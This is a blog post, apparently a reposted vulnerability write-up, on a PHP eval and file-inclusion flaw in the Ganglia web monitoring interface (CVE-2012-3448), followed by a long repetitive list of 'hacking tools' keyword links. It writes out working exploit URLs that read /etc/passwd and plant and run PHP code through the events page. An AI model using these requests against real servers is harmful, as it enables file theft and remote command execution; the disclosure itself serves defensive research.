http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
More info
- Top Pentest Tools
- Hack Tools For Pc
- Pentest Tools Linux
- Hacking Tools Windows
- Pentest Tools Website Vulnerability
- Hacker Tools Linux
- Pentest Tools
- Hacking Tools For Windows Free Download
- Nsa Hack Tools
- Kik Hack Tools
- Hacking Tools Windows 10
- Hacking Tools For Windows
- Hacker Tools 2019
- Hacking Tools For Beginners
- Hack Tools For Ubuntu
- Pentest Tools Framework
- Pentest Automation Tools
- Hacker Tools Software
- Hacker Tools For Pc
- Hacker Tools For Ios
- Pentest Tools Windows
- Hack Tool Apk No Root
- Physical Pentest Tools
- Hacking App
- Hacking Tools Usb
- Hack Tools 2019
- Pentest Tools For Android
- Pentest Box Tools Download
- World No 1 Hacker Software
- Hacking Tools Name
- Nsa Hack Tools Download
- Termux Hacking Tools 2019
- Free Pentest Tools For Windows
- Hack Tools 2019
- Hacker Tools Github
- Hacking Tools Free Download
- New Hacker Tools
- Pentest Tools Online
- Nsa Hack Tools
- Hacking Tools Windows
- Hack Tools For Windows
- Hacker Tools Windows
- Pentest Tools Free
- Hacker Tools 2019
- Hacker Tools For Mac
- Hacking Tools Online
- Hack Tools For Windows
- Hacker Tools Apk
- Hack Tools For Ubuntu
- Pentest Recon Tools
- Hacking Tools Pc
- Hack Tools For Windows
- Pentest Tools Apk
- Hack And Tools
- Pentest Tools For Android
- Hak5 Tools
- Pentest Tools For Windows
- Hacker Techniques Tools And Incident Handling
- Hacker Tools Hardware
- Hacker Techniques Tools And Incident Handling
- Hack Tools For Windows
- Ethical Hacker Tools
- World No 1 Hacker Software
- Hacking Tools Software
- Hacker Security Tools
- Hacking Tools Mac
- Hacker Tools 2020
- Kik Hack Tools
- Pentest Tools Apk
- Hacking Tools For Kali Linux
- Hack Tools 2019
- Nsa Hacker Tools
- Hacking Tools 2020
- Hackers Toolbox
- Growth Hacker Tools
- Hacking Tools 2019
- Pentest Recon Tools
- Pentest Tools Free
- Github Hacking Tools
- Hacker Tools For Windows
- Hacking Tools For Windows
- Hacking Tools Windows 10
- Pentest Tools For Windows
- Hacker Tools Linux
- Hack Tools Pc
- Pentest Tools Windows
- Game Hacking
- Pentest Tools Url Fuzzer
- Hack Tools For Pc
- Pentest Tools Tcp Port Scanner
- Bluetooth Hacking Tools Kali
- Hacker Tools Github
- Pentest Tools Download
- Nsa Hack Tools
- Hacking Tools For Kali Linux
- Hacker Tools 2019
- Hacker Tools 2019
- Hacker Tools Software
- Pentest Tools Tcp Port Scanner
- Hacking Tools For Pc
- Pentest Tools Free
- Hacking Tools Mac
- Hacker Techniques Tools And Incident Handling
- Hack Tools
- What Are Hacking Tools
- Hack Tools For Ubuntu
- Hack Tools For Ubuntu
- Nsa Hacker Tools
- Pentest Tools Bluekeep
- Hacker Tools Windows
- How To Install Pentest Tools In Ubuntu
- Hacking Tools
- Hacker Tools For Windows
- Hacker Tools Apk
- Hacker Tools Software
No hay comentarios:
Publicar un comentario